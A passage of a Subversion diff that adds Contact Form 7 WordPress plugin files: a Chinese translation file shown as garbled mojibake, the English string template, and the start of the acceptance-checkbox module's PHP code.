+msgstr "æšå¯ä»¥æéæ®µä»£ç¢Œè€è£œå°æšçç¶²èªæç« ãåé ææå­å°å·¥å
+·(Text Widget)çå
+§å®¹äž­ã"
+
+#: contact-form-7/admin/admin-panel.php:50
+#: contact-form-7/admin/admin-panel.php:290
+msgid "Save"
+msgstr "å²å­"
+
+#: contact-form-7/admin/admin-panel.php:57
+msgid "Copy"
+msgstr "è€è£œ"
+
+#: contact-form-7/admin/admin-panel.php:61
+msgid "Delete"
+msgstr "åªé€"
+
+#: contact-form-7/admin/admin-panel.php:63
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"æšå³å°åªé€éåè¯çµ¡è¡šå®ã\n"
+"æãç¢ºå®ãåªé€è¡šå®ïŒææãåæ¶ãåæ¶åªé€è¡šå®çåäœã"
+
+#: contact-form-7/admin/admin-panel.php:78
+msgid "Form"
+msgstr "è¡šå®"
+
+#: contact-form-7/admin/admin-panel.php:98
+msgid "Mail"
+msgstr "éµä»¶"
+
+#: contact-form-7/admin/admin-panel.php:105
+#: contact-form-7/admin/admin-panel.php:161
+msgid "To:"
+msgstr "æ¶ä»¶äºº:"
+
+#: contact-form-7/admin/admin-panel.php:109
+#: contact-form-7/admin/admin-panel.php:165
+msgid "From:"
+msgstr "å¯ä»¶äºº:"
+
+#: contact-form-7/admin/admin-panel.php:113
+#: contact-form-7/admin/admin-panel.php:169
+msgid "Subject:"
+msgstr "äž»æšïŒ"
+
+#: contact-form-7/admin/admin-panel.php:118
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Additional headers:"
+msgstr "é¡å€çæšé ­(header) "
+
+#: contact-form-7/admin/admin-panel.php:122
+#: contact-form-7/admin/admin-panel.php:178
+msgid "File attachments:"
+msgstr "éå æªæ¡:"
+
+#: contact-form-7/admin/admin-panel.php:124
+#: contact-form-7/admin/admin-panel.php:180
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "æšå¿
+éäœ¿çšWordPress 2.7æä»¥äžçæ¬ïŒæèœäœ¿çšéååèœã"
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:188
+msgid "Use HTML content type"
+msgstr "äœ¿çšHTMLå
+§ææ ŒåŒ"
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:193
+msgid "Message body:"
+msgstr "éµä»¶å
+§å®¹ïŒ"
+
+#: contact-form-7/admin/admin-panel.php:148
+msgid "Mail (2)"
+msgstr "éµä»¶(2)"
+
+#: contact-form-7/admin/admin-panel.php:155
+msgid "Use mail (2)"
+msgstr "äœ¿çšéµä»¶(2)"
+
+#: contact-form-7/admin/admin-panel.php:204
+msgid "Messages"
+msgstr "éµä»¶å
+§å®¹"
+
+#: contact-form-7/admin/admin-panel.php:212
+msgid "Sender's message was sent successfully"
+msgstr "å¯ä»¶è
+çä¿¡ä»¶å·²ç¶æåå¯åº"
+
+#: contact-form-7/admin/admin-panel.php:216
+msgid "Sender's message was failed to send"
+msgstr "å¯ä»¶è
+çä¿¡ä»¶å³éå€±æ"
+
+#: contact-form-7/admin/admin-panel.php:220
+msgid "Akismet judged the sending activity as spamming"
+msgstr "ç¶Akismetæ©å¶å€æ·ïŒéåå¯ä¿¡çåäœçºæ¿«çŒå»£åä¿¡"
+
+#: contact-form-7/admin/admin-panel.php:224
+msgid "Validation errors occurred"
+msgstr "çŒçèªè­é¯èª€"
+
+#: contact-form-7/admin/admin-panel.php:228
+msgid "There is a field that sender is needed to fill in"
+msgstr " æäžåå¿
+éå¡«å¯«çæ¬äœäžå
+èš±ç©ºçœïŒè«å¯ä¿¡è
+åç¢ºèªã"
+
+#: contact-form-7/admin/admin-panel.php:232
+msgid "Email address that sender entered is invalid"
+msgstr " é»å­éµä»¶æ ŒåŒäžç¬ŠïŒè«å¯ä¿¡è
+åç¢ºèªã"
+
+#: contact-form-7/admin/admin-panel.php:236
+msgid "There is a field of term that sender is needed to accept"
+msgstr "å¯ä¿¡è
+å¿
+éæ¥åäœ¿çšè
+æ¢æ¬Ÿ"
+
+#: contact-form-7/admin/admin-panel.php:240
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "å¯ä¿¡è
+æ²æèŒžå
+¥æž¬é©é¡ç®çæ­£ç¢ºç­æ¡"
+
+#: contact-form-7/admin/admin-panel.php:244
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "å¯ä¿¡è
+æèŒžå
+¥çåçèªè­ç¢Œé¯èª€"
+
+#: contact-form-7/admin/admin-panel.php:248
+msgid "Uploading a file fails for any reason"
+msgstr "æªæ¡äžå³çéçšäž­ïŒå äžæåå å°èŽäžå³å€±æã"
+
+#: contact-form-7/admin/admin-panel.php:252
+msgid "Uploaded file is not allowed file type"
+msgstr "æäžå³çæªæ¡æ¯äžè¢«å
+èš±çæªæ¡çš®é¡"
+
+#: contact-form-7/admin/admin-panel.php:256
+msgid "Uploaded file is too large"
+msgstr "äžå³ææ¡éå€§"
+
+#: contact-form-7/admin/admin-panel.php:269
+msgid "Additional Settings"
+msgstr "é¡å€çèš­å®"
+
+#: contact-form-7/admin/admin.php:157
+msgid "optional"
+msgstr "å¯äžå¡«"
+
+#: contact-form-7/admin/admin.php:158
+msgid "Generate Tag"
+msgstr "æšç±€ç¢çåš"
+
+#: contact-form-7/admin/admin.php:159
+msgid "Text field"
+msgstr "æå­æ¬äœ"
+
+#: contact-form-7/admin/admin.php:160
+msgid "Email field"
+msgstr "é»å­éµä»¶æ¬äœ"
+
+#: contact-form-7/admin/admin.php:161
+msgid "Text area"
+msgstr "æå­åå¡"
+
+#: contact-form-7/admin/admin.php:162
+msgid "Drop-down menu"
+msgstr "äžæåŒéžå®"
+
+#: contact-form-7/admin/admin.php:163
+msgid "Checkboxes"
+msgstr "æ žéžæ¹å¡"
+
+#: contact-form-7/admin/admin.php:164
+msgid "Radio buttons"
+msgstr "éžé 
+æé"
+
+#: contact-form-7/admin/admin.php:165
+msgid "Acceptance"
+msgstr "æ¥åäœ¿çšæ¢æ¬Ÿ"
+
+#: contact-form-7/admin/admin.php:166
+msgid "Make this checkbox checked by default?"
+msgstr "é èš­æ žéžæ¹å¡çºæ žå(å·²åŸéž)?"
+
+#: contact-form-7/admin/admin.php:167
+msgid "Make this checkbox work inversely?"
+msgstr "èš­å®æ žåæ¹å¡è¢«éžåççæ
+çžå?"
+
+#: contact-form-7/admin/admin.php:168
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "*æææ¯åŠæäœ¿çšè
+åŠææ¥åæåæ¢æ¬ŸïŒåäžéåŸéžæ žåæ¹å¡ã"
+
+#: contact-form-7/admin/admin.php:169
+msgid "CAPTCHA"
+msgstr "åçé©è­"
+
+#: contact-form-7/admin/admin.php:170
+msgid "Quiz"
+msgstr "æž¬é©é¡ç®é©è­"
+
+#: contact-form-7/admin/admin.php:171
+msgid "Quizzes"
+msgstr "æž¬é©é¡åº«"
+
+#: contact-form-7/admin/admin.php:172
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* æž¬é©é¡ç®|ç­æ¡ (äŸåŠ 1+1=?|2)"
+
+#: contact-form-7/admin/admin.php:173
+msgid "File upload"
+msgstr "æªæ¡äžå³"
+
+#: contact-form-7/admin/admin.php:174
+msgid "bytes"
+msgstr "äœå
+çµ"
+
+#: contact-form-7/admin/admin.php:175
+msgid "Submit button"
+msgstr "æäº€æé"
+
+#: contact-form-7/admin/admin.php:176
+msgid "Name"
+msgstr "ç©ä»¶åçš±"
+
+#: contact-form-7/admin/admin.php:177
+msgid "Required field?"
+msgstr "èš­å®çºå¿
+èŠæ¬äœ?"
+
+#: contact-form-7/admin/admin.php:178
+msgid "Allow multiple selections?"
+msgstr "å
+èš±åšäžæåŒéžå®äž­ïŒå¯ä»¥éžæäžåä»¥äžçéžé 
+?"
+
+#: contact-form-7/admin/admin.php:179
+msgid "Insert a blank item as the first option?"
+msgstr "èŠæå
+¥äžåç©ºçœè³ææ¬äœïŒäœçºç¬¬äžåéžé 
+?"
+
+#: contact-form-7/admin/admin.php:180
+msgid "Make checkboxes exclusive?"
+msgstr "èš­å®æ žåæ¹å¡ïŒçºäžå
+èš±ä¿®æ¹(å¯è®)?"
+
+#: contact-form-7/admin/admin.php:181
+msgid "Choices"
+msgstr "éžé 
+"
+
+#: contact-form-7/admin/admin.php:182
+msgid "Label"
+msgstr "æšç±€"
+
+#: contact-form-7/admin/admin.php:183
+msgid "Default value"
+msgstr "é èš­åŒ"
+
+#: contact-form-7/admin/admin.php:184
+msgid "Akismet"
+msgstr "AkismetïŒé²æ­¢ååŸéµä»¶çæä»¶ïŒ"
+
+#: contact-form-7/admin/admin.php:185
+msgid "This field requires author's name"
+msgstr "éåæ¬äœéèŠå¡«å¯«äœè
+çå§å"
+
+#: contact-form-7/admin/admin.php:186
+msgid "This field requires author's URL"
+msgstr "éåæ¬äœéèŠå¡«å¯«äœè
+çç¶²å"
+
+#: contact-form-7/admin/admin.php:187
+msgid "This field requires author's email address"
+msgstr "éåæ¬äœéèŠå¡«å¯«äœè
+çé»å­éµä»¶ä¿¡ç®±"
+
+#: contact-form-7/admin/admin.php:188
+msgid "Copy this code and paste it into the form left."
+msgstr "æéæ®µä»£ç¢Œè€è£œåŸïŒè²Œå°å·Šæ¹çè¡šæ Œ"
+
+#: contact-form-7/admin/admin.php:189
+msgid "Foreground color"
+msgstr "åæ¯é¡è²"
+
+#: contact-form-7/admin/admin.php:190
+msgid "Background color"
+msgstr "èæ¯é¡è²"
+
+#: contact-form-7/admin/admin.php:191
+msgid "Image size"
+msgstr "åçå°ºå¯ž"
+
+#: contact-form-7/admin/admin.php:192
+msgid "Small"
+msgstr "å°"
+
+#: contact-form-7/admin/admin.php:193
+msgid "Medium"
+msgstr "äž­"
+
+#: contact-form-7/admin/admin.php:194
+msgid "Large"
+msgstr "å€§"
+
+#: contact-form-7/admin/admin.php:195
+msgid "Image settings"
+msgstr "åçèš­å®"
+
+#: contact-form-7/admin/admin.php:196
+msgid "Input field settings"
+msgstr "èš­å®èŒžå
+¥æ¬äœ"
+
+#: contact-form-7/admin/admin.php:197
+msgid "For image"
+msgstr "åçäœ¿çš"
+
+#: contact-form-7/admin/admin.php:198
+msgid "For input field"
+msgstr "èŒžå
+¥æ¬äœäœ¿çš"
+
+#: contact-form-7/admin/admin.php:199
+msgid "* One choice per line."
+msgstr "*æ¯è¡åªèœæäžåéžé 
+ã"
+
+#: contact-form-7/admin/admin.php:200
+msgid "Show"
+msgstr "é¡¯ç€º"
+
+#: contact-form-7/admin/admin.php:201
+msgid "Hide"
+msgstr "é±è"
+
+#: contact-form-7/admin/admin.php:202
+msgid "File size limit"
+msgstr "æªæ¡å€§å°éå¶"
+
+#: contact-form-7/admin/admin.php:203
+msgid "Acceptable file types"
+msgstr "å¯æ¥åäžå³æªæ¡ççš®é¡"
+
+#: contact-form-7/admin/admin.php:204
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "äœè
+èš»ïŒäœ¿çšåçé©è­(CAPTCHA)çåèœåïŒæšå¿
+éå
+å®è£\"Really Simple CAPTCHA\"éåå€æã"
+
+#: contact-form-7/admin/admin.php:223
+msgid "Contact form created."
+msgstr "å·²æ°å¢è¯çµ¡è¡šå®ã"
+
+#: contact-form-7/admin/admin.php:226
+msgid "Contact form saved."
+msgstr "å·²å²å­è¯çµ¡è¡šå®ã"
+
+#: contact-form-7/admin/admin.php:229
+msgid "Contact form deleted."
+msgstr "å·²åªé€è¯çµ¡è¡šå®ã"
+
+#: contact-form-7/admin/admin.php:240
+msgid "Untitled"
+msgstr "ç¡æšé¡"
+
+#: contact-form-7/admin/admin.php:253
+msgid "Your Name"
+msgstr "æšçå§å"
+
+#: contact-form-7/admin/admin.php:253
+#: contact-form-7/admin/admin.php:255
+msgid "(required)"
+msgstr "ãéå¡«å¯«ã"
+
+#: contact-form-7/admin/admin.php:255
+msgid "Your Email"
+msgstr "æšçé»å­éµä»¶ä¿¡ç®±"
+
+#: contact-form-7/admin/admin.php:257
+msgid "Subject"
+msgstr "äž»æš"
+
+#: contact-form-7/admin/admin.php:259
+msgid "Your Message"
+msgstr "æšçä¿¡ä»¶å
+§å®¹"
+
+#: contact-form-7/admin/admin.php:261
+#: contact-form-7/includes/classes.php:411
+msgid "Send"
+msgstr "å³é"
+
+#: contact-form-7/admin/admin.php:334
+#, fuzzy
+msgid "Settings"
+msgstr "åçèš­å®"
+
+#: contact-form-7/admin/admin.php:355
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7 éèŠæšçæ¯æïŒè«ä»å€©å°±æ
+·æ
+šè§£åã"
+
+#: contact-form-7/admin/admin.php:356
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "æšèŠºåŸæ¬å€æå¯Šçšå? åŠææšåæ­¡éåå€æïŒè«ææ¬Ÿæ¯ææ¬å€æçäœè
+ã"
+
+#: contact-form-7/admin/admin.php:357
+msgid "Your contribution is needed for making this plugin better."
+msgstr "çºäºè®éåå€ææŽå¥œçšïŒæåéèŠæšçææ¬Ÿã"
+
+#: contact-form-7/admin/admin.php:358
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "å€æçšåŒçè£œäœåå¹«å©äœ¿çšè
+è§£æ±ºæè¡äžçåé¡ïŒæ¯åŸèŸèŠçå·¥äœãè«ææ¬Ÿæ¯æã"
+
+#: contact-form-7/includes/classes.php:352
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "äœ¿çšåçé©è­(CAPTCHA)çåèœåïŒæšå¿
+éå
+å®è£ <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a>éåå€æã"
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "æšçä¿¡ä»¶å·²æåå¯åºïŒæè¬ã"
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "ä¿¡ä»¶å³éå€±æãè«çšåŸåè©Šæä»¥å
+¶ä»æ¹åŒèç«ç®¡äººå¡è¯çµ¡ã"
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "èªè­çŒçé¯èª€ãè«ç¢ºèªåé 
+æ¬äœè³ææ¯åŠæ­£ç¢ºåŸïŒåè¡æäº€ã"
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "è«æ¥åæ¬æåæ¢æ¬Ÿåç¹Œçºé²è¡ã"
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "é»å­éµä»¶æ ŒåŒäžç¬Šã"
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "è«å¡«å¯«å¿
+èŠæ¬äœã"
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "æšèŒžå
+¥çèªè­ä»£ç¢Œé¯èª€ãã"
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "æšçç­æ¡äžæ­£ç¢ºã"
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "äžå³æªæ¡å€±æã"
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "äžå³çæªæ¡äžæ¯å
+èš±çæªæ¡çš®é¡ã"
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "äžå³æªæ¡éå€§ã"
+
+#~ msgid "Delete this contact form"
+#~ msgstr "åªé€éåè¯çµ¡è¡šå®"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7.pot
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7.pot	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7.pot	(revision 44)
@@ -0,0 +1,500 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-30 19:21+0900\n"
+"PO-Revision-Date: 2009-08-30 19:21+0900\n"
+"Last-Translator: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ../..\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/admin/admin-panel.php:9
+#, php-format
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong> You must <a href=\"%s\">create the table</a> for it to work."
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:12
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong>"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:17
+#: contact-form-7/admin/admin-panel.php:30
+#: contact-form-7/admin/admin.php:119
+msgid "Contact Form 7"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:45
+msgid "Add new"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:67
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:75
+#: contact-form-7/admin/admin-panel.php:332
+msgid "Save"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:82
+msgid "Copy"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:87
+msgid "Delete"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:89
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:102
+msgid "Form"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:120
+msgid "Mail"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:127
+#: contact-form-7/admin/admin-panel.php:188
+msgid "To:"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:193
+msgid "From:"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:198
+msgid "Subject:"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:144
+#: contact-form-7/admin/admin-panel.php:205
+msgid "Additional headers:"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:149
+#: contact-form-7/admin/admin-panel.php:210
+msgid "File attachments:"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:157
+#: contact-form-7/admin/admin-panel.php:218
+msgid "Use HTML content type"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:164
+#: contact-form-7/admin/admin-panel.php:225
+msgid "Message body:"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Mail (2)"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:180
+msgid "Use mail (2)"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:235
+msgid "Messages"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:243
+msgid "Sender's message was sent successfully"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:248
+msgid "Sender's message was failed to send"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:253
+msgid "Akismet judged the sending activity as spamming"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:258
+msgid "Validation errors occurred"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:263
+msgid "There is a field that sender is needed to fill in"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:268
+msgid "Email address that sender entered is invalid"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:273
+msgid "There is a field of term that sender is needed to accept"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:278
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:283
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:288
+msgid "Uploading a file fails for any reason"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:293
+msgid "Uploaded file is not allowed file type"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:298
+msgid "Uploaded file is too large"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:303
+msgid "Uploading a file fails for PHP error"
+msgstr ""
+
+#: contact-form-7/admin/admin-panel.php:314
+msgid "Additional Settings"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:119
+msgid "Contact"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:123
+msgid "Edit Contact Forms"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:123
+msgid "Edit"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:178
+msgid "optional"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:179
+msgid "Generate Tag"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:180
+msgid "Text field"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:181
+msgid "Email field"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:182
+msgid "Text area"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:183
+msgid "Drop-down menu"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:184
+msgid "Checkboxes"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:185
+msgid "Radio buttons"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:186
+msgid "Acceptance"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:187
+msgid "Make this checkbox checked by default?"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:188
+msgid "Make this checkbox work inversely?"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:189
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:190
+msgid "CAPTCHA"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:191
+msgid "Quiz"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:192
+msgid "Quizzes"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:193
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:194
+msgid "File upload"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:195
+msgid "bytes"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:196
+msgid "Submit button"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:197
+msgid "Name"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:198
+msgid "Required field?"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:199
+msgid "Allow multiple selections?"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:200
+msgid "Insert a blank item as the first option?"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:201
+msgid "Make checkboxes exclusive?"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:202
+msgid "Choices"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:203
+msgid "Label"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:204
+msgid "Default value"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:205
+msgid "Akismet"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:206
+msgid "This field requires author's name"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:207
+msgid "This field requires author's URL"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:208
+msgid "This field requires author's email address"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:209
+msgid "Copy this code and paste it into the form left."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:210
+msgid "Foreground color"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:211
+msgid "Background color"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:212
+msgid "Image size"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:213
+msgid "Small"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:214
+msgid "Medium"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:215
+msgid "Large"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:216
+msgid "Image settings"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:217
+msgid "Input field settings"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:218
+msgid "For image"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:219
+msgid "For input field"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:220
+msgid "* One choice per line."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:221
+msgid "Show"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:222
+msgid "Hide"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:223
+msgid "File size limit"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:224
+msgid "Acceptable file types"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:225
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:236
+msgid "Contact form created."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:239
+msgid "Contact form saved."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:242
+msgid "Contact form deleted."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:245
+msgid "Database table created."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:248
+msgid "Failed to create database table."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:321
+msgid "Contact form"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:355
+msgid "Settings"
+msgstr ""
+
+#: contact-form-7/admin/admin.php:376
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:377
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:378
+msgid "Your contribution is needed for making this plugin better."
+msgstr ""
+
+#: contact-form-7/admin/admin.php:379
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr ""
+
+#: contact-form-7/includes/classes.php:537
+msgid "Untitled"
+msgstr ""
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:30
+msgid "Failed to upload file. Error occurred."
+msgstr ""
+
+#: contact-form-7/includes/functions.php:35
+msgid "Your Name"
+msgstr ""
+
+#: contact-form-7/includes/functions.php:35
+#: contact-form-7/includes/functions.php:37
+msgid "(required)"
+msgstr ""
+
+#: contact-form-7/includes/functions.php:37
+msgid "Your Email"
+msgstr ""
+
+#: contact-form-7/includes/functions.php:39
+msgid "Subject"
+msgstr ""
+
+#: contact-form-7/includes/functions.php:41
+msgid "Your Message"
+msgstr ""
+
+#: contact-form-7/includes/functions.php:43
+msgid "Send"
+msgstr ""
+
+#: contact-form-7/modules/captcha.php:62
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr ""
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/acceptance.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/acceptance.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/acceptance.php	(revision 44)
@@ -0,0 +1,88 @@
+<?php
+/**
+** A base module for [acceptance]
+**/
+
+/* Shortcode handler */
+
+function wpcf7_acceptance_shortcode_handler( $tag ) {
+	global $wpcf7_contact_form;
+
+	if ( ! is_array( $tag ) )
+		return '';
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$options = (array) $tag['options'];
+	$values = (array) $tag['values'];
+
+	if ( empty( $name ) )
+		return '';
+
+	$atts = '';
+	$id_att = '';
+	$class_att = '';
+
+	$class_att .= ' wpcf7-acceptance';
+
+	foreach ( $options as $option ) {
+		if ( preg_match( '%^id:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$id_att = $matches[1];
+
+		} elseif ( preg_match( '%^class:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$class_att .= ' ' . $matches[1];
+
+		} elseif ( 'invert' == $option ) {
+			$class_att .= ' wpcf7-invert';
+		}
+	}
+
+	if ( $id_att )
+		$atts .= ' id="' . trim( $id_att ) . '"';
+
+	if ( $class_att )
+		$atts .= ' class="' . trim( $class_att ) . '"';
+
